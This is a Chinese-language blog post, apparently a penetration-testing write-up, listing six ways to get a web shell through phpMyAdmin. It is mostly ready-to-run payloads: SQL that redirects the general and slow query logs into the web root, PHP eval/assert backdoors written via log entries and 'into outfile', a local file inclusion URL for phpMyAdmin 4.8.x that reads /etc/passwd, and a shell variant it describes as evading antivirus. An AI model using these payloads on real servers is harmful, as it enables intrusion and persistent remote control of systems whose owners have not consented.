phpmyadmin之getshell总结


title: phpmyadmin中getshell的几种姿势


1,利用全局变量general_log去getshell

show variables like ‘%general%’;

phpmyadmin之getshell总结

然后将general_log打开,执行命令set global general_log=on;

因为phpstudy默认的根目录是/phpstudy/www/,所以接下来只需要修改日志文件的位置到网站的根目录下。

set global general_log_file=‘C:/phpstudy/www/v01cano.php’;

phpmyadmin之getshell总结

验证文件是否存在

phpmyadmin之getshell总结

访问该文件后发现,日志文件正常解析了,说明修改路径成功。会以文本形式显示的原因是由于没有<?php ?>php标记。

写入一句话木马:

select '<?php assert($_POST["v01cano"]); ?>'

这个就会记录到刚才的日志文件中。然后我们用菜刀连上。

phpmyadmin之getshell总结

2,利用slow_query_log慢查询日志getshell

首先使用命令show variables like '%slow_query%'查询慢查询日志的状态,默认是关闭的

phpmyadmin之getshell总结

执行命令SET GLOBAL slow_query_log=ON开启慢查询语句。

phpmyadmin之getshell总结

执行命令set global slow_query_log_file=‘C:/phpstudy/www/v01cano.php’;修改慢查询日志路径。

修改成功:

phpmyadmin之getshell总结

尝试直接写入shell,发现其并没有被记录进slow_query_log_file中即v01cano.php中,于是查询相关慢查询日志的说明得知,只有当执行的sql语句超过慢查询的阈值时,才会被记录其中。于是尝试使该sql语句执行的时间变长:

select '<?php @eval($_POST[v01cano]);?>' union select sleep(10)

即可成功将一句话木马写入v01cano.php文件中:

phpmyadmin之getshell总结

使用菜刀连接,成功getshell:

phpmyadmin之getshell总结

此处也可以修改慢查询的阈值getshell:

show variables like 'long_query_time'; #默认为10秒
#执行命令修改long_query_time的默认值为0.000001秒。
set global long_query_time = 0.000001;
#写入shell
select '<?php @eval($_POST[v01cano]);?>' union select sleep(2);
#即可成功getshell。

3,利用log_error错误日志getshell。

show variables like 'log_error';
#该日志会将phpmyadmin登入的用户名记录在其中,可以将一句话木马,通过用户名的登入框写入到该日#志中,当该web站点存在本地文件包含漏洞时,可以配合该漏洞getshell。

4,利用phpmyadmin4.8.x本地文件包含漏洞getshell

靶机地址:https://www.vulnspy.com/phpmyadmin-4.8.1/

由于vulnspy靶机无法连接数据库,我就直接使用docker创建靶机环境了。

首先直接创建靶机,然后登录phpmyadmin,

本地文件包含漏洞测试:

http://192.168.174.130:8080/index.php?target=db_sql.php%253f/../../../../../../../../etc/passwd

phpmyadmin之getshell总结

getshell测试:直接写入select ‘<?php phpinfo();?>’

phpmyadmin之getshell总结

执行之后如图:

phpmyadmin之getshell总结

然后推荐一篇文章:

https://mp.weixin.qq.com/s?__biz=MzIzMTc1MjExOQ==&mid=2247485036&idx=1&sn=8e9647906c5d94f72564dec5bc51a2ab&chksm=e89e2eb4dfe9a7a28bff2efebb5b2723782dab660acff074c3f18c9e7dca924abdf3da618fb4&mpshare=1&scene=1&srcid=0621gAv1FMtrgoahD01psMZr&pass_ticket=LqhRfckPxAVG2dF%2FjxV%2F9%2FcEb5pShRgewJe%2FttJn2gIlIyGF%2FbsgGmzcbsV%2BLmMK#rd

5,利用into outfile写入;

#mysql新特性secure_file_priv会对读写文件产生影响,该参数用来限制导入导出
#查看该参数:
show global variables like '%secure%';
#当secure_file_priv为NULL时,表示限制mysql不允许导入导出。所以爆出错误
#要想使得该语句导出成功,则需要在mysql文件夹下修改my.ini 文件
#在[mysqld]内加入secure_file_priv ="" 即可
#写入shell
select "<?php @eval($_POST['v01cano']);?>" into outfile 'C:/phpStudy/WWW/v01cano.php';

6,补充,有时候在使用大马写入shell的时候遇到分号就会结束,这个时候可以考虑写入如下shell,而且免杀,嘿嘿。

select '<?php eval($_POST[v01cano])</script>?>'
上一篇:2018-2019-2 20165206《网络对抗技术》Exp1 PC平台逆向破解


下一篇:2018-2019-2 20165316 《网络对抗技术》Exp1 PC平台逆向破解